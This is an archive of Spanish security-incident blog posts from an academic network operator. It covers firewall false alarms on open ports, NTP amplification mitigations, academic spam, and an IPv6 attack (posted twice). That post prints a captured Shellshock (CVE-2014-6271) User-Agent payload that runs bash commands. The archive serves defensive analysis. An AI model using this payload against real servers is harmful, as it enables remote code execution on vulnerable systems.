Archivo

Archivo para la categoría ‘Incidentes’

Puertos abiertos a nivel TCP , cerrados a nivel de aplicación

jueves, 8 de marzo de 2018 Comentarios desactivados

Con el incremento de los anchos de bandas y la aparición de herramientas como ZMAP cada vez son más frecuentes los “researchers” y las empresas/organizaciones de “Threat Alert” que se dedican a reportar a en los buzones de seguridad de las organizaciones la existencia de problemas de seguridad porque hay un puerto “abierto” en un equipo.

El problema es que muchas veces es verdad que en ese equipo concreto esta el servicio “escuchando” en ese puerto,  pero eso NO SIGNIFICA que el servicio/aplicación este abierto en internet,  lo que lleva el tener que explicar una y otra vez a estas organizaciones y CERT(marca registrada)/CSIRT  nacionales/regionales/globales, de todo tipo, que sí, hay un servicio escuchando   pero no ,  el servicio en cuestión  no esta permitido fuera,  por lo que se trata de una falsa alarma.

Un ejemplo se tiene por ejemplo con los servidores de memcached, (puerto 11211 , UDP y TCP) , que permiten una amplificación  brutal como se vio en ataque contra GitHub a principios de Marzo de 2018, se puede comprobar que el mensaje es distinto para un servicio permitido tras un cortafuegos  y cuando estos sistemas bloquean el tráfico:

Tráfico permitido:

echo "version" | nc -v -i 5 130.XXX.YYY.ZZZ 11211
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Connected to 130.XXX.YYY.ZZZ:11211.
VERSION 1.4.17
Ncat: Idle timeout expired (5000 ms).

Tráfico denegado:

echo "version" | nc -v -i 5 130.XXX.YYY.ZZZ 11211
Ncat: Version 6.45 ( http://nmap.org/ncat )
Ncat: Connected to 130.XXX.YYY.ZZZ:11211.
Ncat: Idle timeout expired (5000 ms).

 

¿Qué es lo que pasa ?, pues la razón de este comportamiento la tienen los llamados “Firewall de siguiente  generación“, (qué igual habría que llamarlos de  generación “T” ) todavía no han evolucionado a la siguiente generación.   Estos sistemas permiten   filtrar a nivel de aplicación o más (“capa 7 ” en el antiguo modelo OSI de redes, capa “4” en el módelo de TCP/IP),

Estos cortafuegos analizan el tráfico y toman la decisión de cortar o dejar pasar el tráfico cuando saben que tipo de trafico hay, por ejemplo pueden permitir el tráfico “DNS” pero denegar  el “HTTP”, aunque vaya en una conexión por el puerto de DNS (53/UDP), pero claro tienen que ver que tráfico de datos circular antes tomar la decisión.

Como la mayoría de estos escanners “globales”, solo comprueban ya sea por “TCP SYN” o por establecimiento completo de conexión que hay un servicio escuchando en un puerto, no distinguen después si efectivamente el  servicio esta permitido en el cortafuegos y al final  alguna de estas organizaciones de “spam de alertas” envían información  no verificada sobre un problema que no es tal.

 

Categories: Incidentes Tags:

Atacantes en IPv6

martes, 19 de mayo de 2015 Comentarios desactivados

Revisando los logs del cortafuegos esta mañana aparece el siguiente paquete que ha sido marcado como un Ataque de inyección de código en bash “Bash Remote Code Execution Vulnerability”, el famoso ShellSock CVE-2014-6271 .

El paquete ethernet capturado es el siguiente:

19:37:20.000000 AA:BB:CC:DD:EE:FF > ZZ:XX:YY:SS:TT:RR, ethertype 802.1Q (0x8100), length 305: vlan XX, p 0, ethertype IPv6, (hlim 54, next-header: TCP (6), length: 247) 2001:41d0:2:c59e::1.53537 > 2001:720:418:cafd::20.80: P, cksum 0xca79 (correct), 1838219336:1838219551(215) ack 3534929269 win 113 <nop,nop,timestamp 1314898790 2658160117>
	0x0000:  0000 0000 0000 0000 0000 0000 0000 0000  ................
	0x0010:  0000 0000 0000 0000 0636 2001 41d0 0002  ................
	0x0020:  c59e 0000 0000 0000 0001 2001 0720 0418  ................
	0x0030:  cafd 0000 0000 0000 0020 d121 0050 6d91  ................
	0x0040:  0048 d2b2 bd75 8018 0071 ca79 0000 0101  ...............
	0x0050:  080a 4e5f c366 9e70 4df5 4745 5420 2f6c  ..N_.f.pM.GET./l
	0x0060:  6973 742f 7075 626c 2f68 6572 7261 6d69  ist/publ/herrami
	0x0070:  656e 7461 2e70 6466 2048 5454 502f 312e  enta.pdf.HTTP/1.
	0x0080:  310d 0a41 6363 6570 742d 456e 636f 6469  1..Accept-Encodi
	0x0090:  6e67 3a20 6964 656e 7469 7479 0d0a 486f  ng:.identity..Ho
	0x00a0:  7374 3a20 7777 772e 7265 6469 7269 732e  st:.www.rediris.
	0x00b0:  6573 0d0a 436f 6e6e 6563 7469 6f6e 3a20  es..Connection:.
	0x00c0:  636c 6f73 650d 0a55 7365 722d 4167 656e  close..User-Agen
	0x00d0:  743a 2028 2920 7b20 666f 6f3b 7d3b 6563  t:.().{.foo;};ec
	0x00e0:  686f 3b20 2f62 696e 2f62 6173 6820 2d63  ho;./bin/bash.-c
	0x00f0:  2022 6578 7072 2032 3939 3636 3332 3939  ."expr.299663299
	0x0100:  3636 3520 2f20 333b 2065 6368 6f20 3333  665./.3;.echo.33
	0x0110:  333a 3b20 756e 616d 6520 2d61 3b20 6563  3:;.uname.-a;.ec
	0x0120:  686f 2033 3333 3a3b 2069 643b 220d 0a0d  ho.333:;.id;"...
	0x0130:  0a                                       .

Hasta aquí todo normal, hasta que viendo la dirección IP origen del ataque aparece como tipo de protocolo IPv6 y dirección 2001:41d0:2:c59e::1 , parece que IPv6 empieza a verse en algunos ataques además del Spam.

 

Atacantes en IPv6

martes, 19 de mayo de 2015 Comentarios desactivados

Revisando los logs del cortafuegos esta mañana aparece el siguiente paquete que ha sido marcado como un Ataque de inyección de código en bash “Bash Remote Code Execution Vulnerability”, el famoso ShellSock CVE-2014-6271 .

El paquete ethernet capturado es el siguiente:

19:37:20.000000 AA:BB:CC:DD:EE:FF > ZZ:XX:YY:SS:TT:RR, ethertype 802.1Q 
(0x8100), length 305: vlan XX, p 0, ethertype IPv6, (hlim 54, next-header: 
TCP (6), length: 247) 2001:41d0:2:c59e::1.53537 > 2001:720:418:cafd::20.80:
 P, cksum 0xca79 (correct), 1838219336:1838219551(215) ack 3534929269 win
 113 <nop,nop,timestamp 1314898790 2658160117>

	0x0000:  0000 0000 0000 0000 0000 0000 0000 0000  ................
	0x0010:  0000 0000 0000 0000 0636 2001 41d0 0002  ................
	0x0020:  c59e 0000 0000 0000 0001 2001 0720 0418  ................
	0x0030:  cafd 0000 0000 0000 0020 d121 0050 6d91  ................
	0x0040:  0048 d2b2 bd75 8018 0071 ca79 0000 0101  ...............
	0x0050:  080a 4e5f c366 9e70 4df5 4745 5420 2f6c  ..N_.f.pM.GET./l
	0x0060:  6973 742f 7075 626c 2f68 6572 7261 6d69  ist/publ/herrami
	0x0070:  656e 7461 2e70 6466 2048 5454 502f 312e  enta.pdf.HTTP/1.
	0x0080:  310d 0a41 6363 6570 742d 456e 636f 6469  1..Accept-Encodi
	0x0090:  6e67 3a20 6964 656e 7469 7479 0d0a 486f  ng:.identity..Ho
	0x00a0:  7374 3a20 7777 772e 7265 6469 7269 732e  st:.www.rediris.
	0x00b0:  6573 0d0a 436f 6e6e 6563 7469 6f6e 3a20  es..Connection:.
	0x00c0:  636c 6f73 650d 0a55 7365 722d 4167 656e  close..User-Agen
	0x00d0:  743a 2028 2920 7b20 666f 6f3b 7d3b 6563  t:.().{.foo;};ec
	0x00e0:  686f 3b20 2f62 696e 2f62 6173 6820 2d63  ho;./bin/bash.-c
	0x00f0:  2022 6578 7072 2032 3939 3636 3332 3939  ."expr.299663299
	0x0100:  3636 3520 2f20 333b 2065 6368 6f20 3333  665./.3;.echo.33
	0x0110:  333a 3b20 756e 616d 6520 2d61 3b20 6563  3:;.uname.-a;.ec
	0x0120:  686f 2033 3333 3a3b 2069 643b 220d 0a0d  ho.333:;.id;"...
	0x0130:  0a                                       .

Hasta aquí todo normal, hasta que viendo la dirección IP origen del ataque aparece como tipo de protocolo IPv6 y dirección 2001:41d0:2:c59e::1 , parece que IPv6 empieza a verse en algunos ataques además del Spam.

 

Ataques de amplificación de tráfico: NTP

viernes, 21 de febrero de 2014 Comentarios desactivados

Durante el año 2013 se ha generalizado el uso de protocolos distintos al tradicional DNS a la hora de realizar ataques de denegación de tráfico, el ultimo protocolo que se esta usando es Network Time Protocol (NTP), empleado para que los equipos estén sincronizados a nivel horario.

Ya se comentó anteriormente est tipo de ataques, que se basan en dos situaciones bastante frecuentes,  una normal y otra debida sobre todo a malas configuraciones.

Es habitual y normal que haya muchas peticiones de tráfico que no sean balanceadas (se reciba más información que la que se solicita),esto ocurre en la mayoria de las situaciones (ver un video por internet, acceder a una página WWW, etc), por lo general somos “consumidores” de información y recibimos más información de internet que la que enviamos hacia fuera.

Para la mayoría de los protocolos esta situación no genera problemas de amplificación de tráfico ya que emplean un protocolo orientado a conexión como es TCP, en el cual se establece una negociación entre los equipos antes de enviar información, pero hay otros protocolos como ICMP o UDP que no son orientados a conexión .

Aquí interviene después la segunda situación que es la posibilidad de que un equipo genere tráfico con una dirección IP que no le corresponde (falsificación de direcciones, Spoofing, etc), y que este tráfico llegue hasta Internet.

Como comentábamos el documento de buenas prácticas BCP 38 , http://tools.ietf.org/html/bcp38  comentaba hace casí 15 años la necesidad de que las organizaciones filtraran el tráfico en origen , de forma que este  trafico no deseado no llegue a internet. Este  filtrado fue evolucionando de las tradicionales listas de acceso en los routers a técnicas como el “Reverse Path Forwarding”, (RPF),  implementado en los routers de la mayoria de los fabricantes, como Cisco,  o Juniper  , así en la mayoría de los sistemas operativos   (Linux, *BSD*,etC) , cortafuegos (Fortinet, Paloalto, …).

Por lo general las instituciones conectadas a RedIRIS ya tienen aplicados estos filtros y además en el backbone se realizan comprobaciones adicionales pero se puede colaborar con proyectos como spoofer  para comprobar si una red es susceptible de ser utilizada en ataques DDOS.

Estos ataques de denegación de servicio seguirán existiendo mientras haya redes que permitan la falsificación de tráfico ,aunque en el caso de NTP es algo más complicado y peligroso por diversos factores :

  • NTP es usado por muchos sistemas a la hora de mantener una sincronización horaria, necesaria para diversos protocolos  de enrutamiento , verificación de tiempos de espera y de vida de una conexión, etc. Por eso es crítico en muchos entornos.
  • Muchos servidores de NTP, sobre todo los empleados en enrutadores y commutadores no tienen la posibilidad de filtrar las peticiones de consulta “privilegiadas” en la versión del sistema operativo que están corriendo, por lo que hay que aplicar filtros para impedir su uso desde el exterior.
  • En muchas organizaciones como hardware para correr el servicio de NTP se utilizan enrutadores que disponen de varias direcciones IP (por los distintos interfaces) por lo que es necesario aplicar los filtros en todos los interfaces del equipo .

En el caso de NTP el problema es debido a que los servidores que permiten los paquetes en modo 7  (administrativo) desde otros hosts pueden recibir consultas para obtener una lista de los ultimos 600 servidores/clientes que han obtenido tiempo del servidor en cuestión. Esto puede realizarse mediante el comando monlist de la ultilidad ntpdc.

De esta forma un paquete comando de unos pocos bytes obtiene una respuesta de varios miles de bytes que pueden llegar a saturar el servidor y la red.

Existen 3 soluciones recomendadas a nivel de equipo que es servidor de NTP:

  1.   Actualizar el servicio ntp a versiones posteriores a la 4.2.7p26.
  2.   Deshabilitar el monitor. En el fichero de configuración añadir una linea “disable monitor”
  3.  Añadir “noquery” en la lista de restricciones por defecto y despues permitirla a las maquinas que interese             que reciban esa informacion.
      restrict -4 default noquery
      restrict -6 default noquery

Estas dos lineas anteriores evitaran que se ignoren los paquetes en modo 6 y 7 tanto para IPv4 como IPv6.

Referencias:

Por otro lado es aconsejable que aplique a nivel de red los filtros apropiados para evitar que se acceda desde el exterior de la organización a los servidores NTP que no sean públicos para evitar su uso en los ataques de denegación de servicio

 

Spam académico

martes, 20 de agosto de 2013 Comentarios desactivados

 

Algunos piensan que con esto de la crisis económica todo vale y que ya que recibimos spam todos los días el buscar de forma masiva direcciones de correo y emplear los servidor de listas de las organizaciones para la difusión de convocatorias de congresos, revistas, cursos y demás formas de conseguir financiación adicional o prestigio, yo personalmente creo que hay que hace hincapié en los responsables de las listas de correo internas de cada organización para evitar este tipo de comportamientos.

 

No se ve todos  los días , pero como mínimo una vez al mes se recibe  información desde listas de correo sobre masters, cursos, congresos y demás organizados por departamentos o centros de instituciones afiliadas, donde sin haberlo pedido en ningún momento me han incorporado a una lista de distribución.

Mención aparte merecen algunas organizaciones afiliadas a RedIRIS con difusión internacional que añaden de forma masiva a los usuarios extranjeros que acceden a una de sus cursos/conferencias y charlas y de los que recibimos diariamente quejas de algunos ISP estadounidenses.

 

Aparte de la mala imagen para la organización, generación de spam a los destinatarios, etc,  están los problemas de listas negras.  por lo que un uso irresponsable de los recursos que proporciona la organización pueden provocar perjuicios a otros usuarios  en un momento determinado.

Por favor. recordarle a los administradores de las listas de correo las normas de buen uso , gran parte de vosotros las tiene ya publicadas y aprobadas , por ejemplo en :https://www.google.es/search?q=rediris.es+listas+de+correo+normas&rlz=1C5CHFA_enUS503ES505&oq=rediris.es+listas+de+correo+normas&aqs=chrome.0.69i57j69i62l2.6272j0&sourceid=chrome&ie=UTF-8

 

Y explicitamente en RedIRIS en http://www.rediris.es/mail/abuso/ace.es.html  (perdonar por los tipos mime sin actualizar 😉  se indica claramente que este tipo de contenido viola varios de los puntos que desde RedIRIS se consideran contenido abusivo.

 

un saludo a todos

Categories: Incidentes Tags: